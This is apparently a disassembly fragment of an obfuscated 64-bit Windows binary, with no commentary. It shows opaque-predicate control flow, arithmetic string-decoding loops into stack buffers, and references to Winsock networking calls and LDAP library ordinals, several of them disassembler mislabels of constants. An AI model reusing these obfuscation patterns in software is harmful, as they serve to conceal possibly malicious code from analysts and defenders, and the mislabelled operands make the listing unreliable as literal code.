add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400852e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140085b32
movabs rdx, 0x3c2f5feb4163ebf8
mov ecx, Ordinal_30
jmp 0x140085f35
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140085b77
movabs rdx, 0x19d2f673af66bc88
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400852e2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140085bac
movabs rdx, 0xf7768cfc1d698d18
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140085f88
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400857a2
movabs rdx, 0xb2bdba0cf96f2e38
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140086023
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140085c1f
movabs rcx, 0x5cd6b2620c7637a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
movzx eax, byte [rbp + rdi + 0xde8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400852e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140085c53
movabs rdx, 0x181ddf72e87bd8c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
add r11b, dl
jmp 0x140085f88
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140085c93
movabs rcx, 0xf5c175fb567ea950
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400852e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140085cc3
movabs rcx, 0xd3650c83c48179e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
jmp 0x140085f49
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140085cf7
movabs rdx, 0xb108a30c32844a70
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x10
add r11b, dl
jmp 0x140085ef8
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140085d29
movabs rcx, 0x8eac3994a0871b00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
dec rdi
inc rdi
jmp 0x1400852e2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008574d
movabs rdx, 0x49f366a57c8cbc20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140085ea1
mov byte [rbp + rdi + 0xde8], r11b
inc rdi
jmp 0x1400852e2
movabs rdx, 0x53a93b658925d40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xde8]
jmp 0x140085ef2
movabs rdx, 0xe2de2a3ec6952dd0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xde8]
add r11b, bl
add r11b, dl
jmp 0x140085f88
movabs rdx, 0x61f5f7646136e2f8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140086023
movabs rcx, 0xeb679d42a92ba0b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x140085f49
movabs rdx, 0xdc406ba3b28d028
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
add r11b, dl
jmp 0x140085ef8
movabs rcx, 0x30207031cd25ff98
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x28
dec rdi
inc rdi
jmp 0x1400852e2
movabs rcx, 0x74d94320f1205e78
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x140085ea1
movabs rcx, 0xb9921610151abd58
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
movabs rdx, 0x1668c8722190f4f8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xde8], cl
inc r9
dec rdi
inc rdi
jmp 0x1400852e2
movabs rdx, 0x20a75276cb124ba8
mov ecx, 0x34
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xf40c5efa8f93c588
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xde8], cl
jmp 0x140085f49
movabs rdx, 0x4303bbee5d0f7b18
mov ecx, Ordinal_45
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400852e2
mov rbx, r10
movabs rdx, 0x87bc8edd8109d9f8
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rdx, 0xd1aff582fd969618
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xde8], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0xc081c0c73497fe60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xde8], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xde8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400852e2
movabs rdx, 0xcc7561cca50438d8
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xde8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400852e2
movabs rdx, 0x12fe9a7093bb2d68
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400852de
movabs rdx, 0x355b03e825b85cd8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400852ce
lea rcx, [rbp + 0x1721e48]
jmp 0x1400860ab
lea rcx, [rbp + 0x738690]
jmp 0x1400860ab
lea rcx, [rbp + 0xde8]
mov dword [rbp + 0xff0], 0x2710
mov dword [rbp + 0xff8], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0xff0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xff8]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xe10], Ordinal_211
mov byte [rbp + 0xe11], reloc.WS2_32.dll_select
mov byte [rbp + 0xe12], Ordinal_217
mov byte [rbp + 0xe13], 0xee
mov byte [rbp + recv14], 0xe
mov byte [rbp + 0xe15], 0xa
mov byte [rbp + 0xe16], Ordinal_30
mov byte [rbp + 0xe17], 0xa
mov byte [rbp + 0xe18], 0xbe
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe19], xmm0
mov qword [rbp + 0xe29], rax
mov word [rbp + 0xe31], ax
movabs rsi, 0xd1d7b8e9fb60ff63
movabs rdx, 0x44fd1272749420a1
movabs r13, 0x9fe14fef396e797
movabs r14, 0x6cf5666e42efbefd
movabs r15, 0x58f93c705bc1efcf
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140086dc6
movzx ebx, byte [rbp + rdi + 0xe10]
mov r10, rbx
cmp r8, rdi
ja 0x140086dba
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400861da
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x21
jmp 0x140086206
je 0x140086d29
inc rax
cmp r8, rax
je 0x140086c9b
lea rax, [r9 + 3]
cmp r8, rax
je 0x140086c5b
lea rax, [r9 + 5]
cmp r8, rax
je 0x140086c28
cmp r9, rdi
ja 0x140086dae
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x140086239
lea rcx, [rdi + rsi]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4b
jmp 0x140086270
lea rax, [r9 + 1]
cmp r8, rax
je 0x140086bd0
inc rax
cmp r8, rax
je 0x140086b9d
lea rax, [r9 + 4]
cmp r8, rax
je 0x140086b79
lea rax, [r9 + 6]
cmp r8, rax
je 0x140086b56
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x140086881
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008685a
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140086824
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400867ec
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400867c4
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400867a1
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140086764
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008673c
lea rax, [r9 + 9]
cmp r8, rax
je 0x140086714
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400866f1
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140086280
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 4]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140086d8b
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140086d68
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140086454
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14008643a
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140086420
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14008668d
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140086630
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400865e7
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400865af
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140086280
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x61]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140086587
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14008655f
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14008653c
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400864ff
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400864cc
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140086496
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008646e
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140086280
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x7a]
jmp 0x140086280
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x15
jmp 0x140086270
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x57
jmp 0x140086206
lea rcx, [rdi + rdx]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x67
jmp 0x1400861a4
movabs rdx, 0x8ebdc74fdb07fb18
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140086bee
movabs rcx, 0x7ac19d51f3da2bea
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x66
inc r9
dec rdi
inc rdi
movabs rdx, 0x44fd1272749420a1
jmp 0x140086192
movabs rcx, 0x66c573540cac5cbc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x24
dec rdi
inc rdi
movabs rdx, 0x44fd1272749420a1
jmp 0x140086192
movabs rcx, 0x2ad0f55a5722ef32
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x44fd1272749420a1
jmp 0x140086192
movabs rcx, 0x16d4cb5c6ff52004
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x140086cc1
movabs rdx, 0x2d8a15e88c750d6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140086cf2
movabs rdx, 0xeedc7760a19981a8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140086d48
movabs rcx, 0xbce60e65dfa6fbb5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xd
mov byte [rbp + rdi + 0xe10], r11b
inc rdi
movabs rdx, 0x44fd1272749420a1
jmp 0x140086192
movabs rcx, 0xa8e9e467f8792c87
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4f
cmp r9, 5
jb 0x1400865cd
movabs rcx, 0xfb3c5d950e20462a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x4c]
jmp 0x140086bee
movabs rcx, 0x94edba6a114b5d59
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6f
cmp r8, 0x40
jae 0x140086ad2
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1400869f9
movabs rdx, 0x3362b9aa06562e5e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140086605
movabs rdx, 0x80f1906c2a1d8e2b
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2d
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0x28
je 0x140086b26
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x14008693c
movabs rdx, 0x618b00c00af52efb
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x23
add r11b, dl
jmp 0x14008664e
movabs rcx, 0xeb0e557be445fc52
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3e
jmp 0x140086d48
movabs rdx, 0xd7122b7dfd182d24
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140086cf2
movabs rdx, 0xc316018015ea5df6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140086cc1
movabs rcx, 0xaf19d7822ebc8ec8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x78
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x44fd1272749420a1
jmp 0x140086192
movabs rcx, 0x9b1dad84478ebf9a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x36
jmp 0x140086c79
movabs rdx, 0x872183866060f06c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140086afc
movabs rdx, 0x732559887933213e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
movabs rdx, 0x44fd1272749420a1
jmp 0x140086192
movabs rcx, 0x5f292f8a92055210
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
inc r9
dec rdi
inc rdi
movabs rdx, 0x44fd1272749420a1
jmp 0x140086192
movabs rdx, 0x4b2d058caad782e2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2e
add r11b, dl
jmp 0x140086bee
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400868a8
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x21
jmp 0x1400866af
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400868d8
movabs rcx, 0xa3af71d3f6c1fec6
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6a
jmp 0x140086d48
inc rax
cmp r8, rax
jne 0x14008690c
movabs rdx, 0xb7ab9bd1ddefcdf4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140086cf2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400866af
movabs rcx, 0xf3a019cb93793b7e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x72
jmp 0x140086c79
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140086970
movabs rdx, 0x75872abdf222fe29
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1f
add r11b, dl
jmp 0x140086bee
inc rax
cmp r8, rax
jne 0x1400869af
movabs rcx, 0x9d7f7eb9c07e9c85
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x5d
dec rdi
inc rdi
movabs rdx, 0x44fd1272749420a1
jmp 0x140086192
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008664e
movabs rcx, 0xd973fcb376080a0f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x69
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x44fd1272749420a1
jmp 0x140086192
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140086a2e
movabs rdx, 0x475ee3a7ed83fd8c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140086d48
inc rax
cmp r8, rax
jne 0x140086a61
movabs rdx, 0x5b5b0da5d4b1ccba
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x16
add r11b, dl
jmp 0x140086cf2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140086a92
movabs rdx, 0x6f5737a3bbdf9be8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x58
jmp 0x140086cbe
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140086605
movabs rcx, 0xbf47df9b5896d8a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
dec rdi
inc rdi
movabs rdx, 0x44fd1272749420a1
jmp 0x140086192
movabs rdx, 0xf388792f54e1558
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0xe10]
sub r11b, al
sub r11b, 0x68
add r11b, dl
add r11b, bl
movabs rcx, 0x19369c91e8e4fcef
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x77
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0xe10], cl
jmp 0x140086c79
movabs rdx, 0x2334b190dc7be486
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xe10]
add r11b, dl
add r11b, bl
jmp 0x140086cc1
movabs rcx, 0x85b532d71bfd4801
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 7
jmp 0x140086d48
movabs rdx, 0x5dbcdedb4da1a9a5
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x7d
jmp 0x140086cbe
movabs rcx, 0xdcc36e3b0ea6ced
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7b
dec rdi
inc rdi
movabs rdx, 0x44fd1272749420a1
jmp 0x140086192
movabs rcx, 0xe5d3e2e7e28ece91
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 9
movabs rcx, 0x53a729401b72dc1
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x47
add bl, cl
mov byte [rbp + rdi + 0xe10], bl
inc r9
dec rdi
inc rdi
movabs rdx, 0x44fd1272749420a1
jmp 0x140086192
movabs rcx, 0x95e33af045d791d9
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x11
dec rdi
inc rdi
movabs rdx, 0x44fd1272749420a1
jmp 0x140086192
movabs rcx, 0x6deae6f4777bf37d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6b
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x44fd1272749420a1
jmp 0x140086192
mov rbx, r10
movabs rdx, 0x45f292f8a9205521
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x19
add r11b, dl
movabs rdx, 0x2d32c68fd012cc1d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x35
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xe10], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x3730db8ec3a9b3b4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xe10], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
jmp 0x140086d48
movabs rcx, 0x1dfa3efcdac4b6c5
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x63
movzx eax, byte [rbp + rdi + 0xe10]
add rax, r9
add rdi, rax
inc rdi
movabs rdx, 0x44fd1272749420a1
jmp 0x140086192
movabs rcx, 0x3100e8748d665173
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x25
jmp 0x140086190
movabs rcx, 0x1d04be76a6388245
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x1d
jmp 0x140086180
lea r14, [rbp + 0x163a784]
jmp 0x140086dcd
lea r14, [rbp + 0x13a8f1b]
jmp 0x140086dcd
lea r14, [rbp + 0xe10]
lea rdx, [0x14022a040]
lea rcx, [rbp + 0x648]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 8]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rsi + 0x38], 0
jne 0x1400a4062
mov byte [rbp + 0xe38], 0xae
mov byte [rbp + 0xe39], Ordinal_30
mov byte [rbp + 0xe3a], Ordinal_79
mov byte [rbp + 0xe3b], 0x5d
mov byte [rbp + 0xe3c], 0x5c
mov byte [rbp + 0xe3d], 0x68
mov byte [rbp + 0xe3e], 0x5b
mov byte [rbp + 0xe3f], WSASetLastError
mov byte [rbp + 0xe40], 0xfe
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe41], xmm0
mov qword [rbp + 0xe51], rax
mov word [rbp + 0xe59], ax
movabs rdx, 0xbe6e027c53bab0f7
movabs r15, 0x9c41725dcd4d336b
movabs r13, 0xd9806ee6c8ce3bf5
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
movabs rcx, 0x8d8936353a89c57f
cmp rdi, 0x23
jae 0x140087b76
movzx ebx, byte [rbp + rdi + 0xe38]
mov r10, rbx
cmp r8, rdi
ja 0x140087b6a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140086ef3
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x79
jmp 0x140086f30
je 0x140087ad9
inc rax
cmp r8, rax
je 0x140087a7f
lea rax, [r9 + 3]
cmp r8, rax
je 0x140087a27
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400879c2
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008796a
nop dword [rax]
cmp r9, rdi
ja 0x140087b5e
lea rax, [r9 + 5]
cmp r8, rax
jae 0x140086f60
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x13
jmp 0x140086fa0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140087947
lea rax, [r9 + 3]
cmp r8, rax
je 0x140087914
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400878f1
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400878ce
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140087568
nop dword [rax]
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140087540
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140087505
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400874cd
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400874a5
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008747d
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008743b
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140087413
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400873eb
lea r8, [r9 + 9]
lea r9, [r8 + 1]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140087b3b
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140087b18
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14008713b
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140087121
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140087107
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14008738d
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14008732d
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400872e0
lea r8, [r9 + 5]
lea r9, [r8 + 0x42]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400872b8
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140087290
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140087268
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140087226
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400871fe
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400871d6
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14008719e
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140087168
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x20]
jmp 0x140086fb0
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
